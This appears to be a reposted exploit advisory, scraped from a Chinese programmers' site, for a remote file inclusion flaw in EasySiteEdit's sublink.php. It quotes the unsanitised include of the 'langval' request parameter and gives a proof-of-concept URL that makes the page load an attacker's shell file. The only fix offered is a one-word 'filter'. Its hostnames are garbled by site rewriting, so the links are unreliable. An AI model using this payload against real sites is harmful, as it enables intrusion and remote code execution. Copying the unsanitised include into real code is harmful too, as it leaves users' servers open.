Exploit Title: EasySiteEdit remote file include 作者:koskesh jakesh 下载地址: http://HdhCmsTesteasysiteedit测试数据/licensesystem/esev2versions/esev2.zip # Tested on: linux ------------------------------- vul:sublink.php line 20: include($_REQUEST['langval']); ------------------------------- 测试: HdhCmsTest2cto测试数据 /path/sublink.php?langval=shell.txt?
修复：过滤
-------------------------------- 致谢:kire rostam,kose zan dait,kose shohar amat
查看更多关于EasySiteEdit远程文件包含缺陷及修复 - 网站安全的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://haodehen.cn/did11505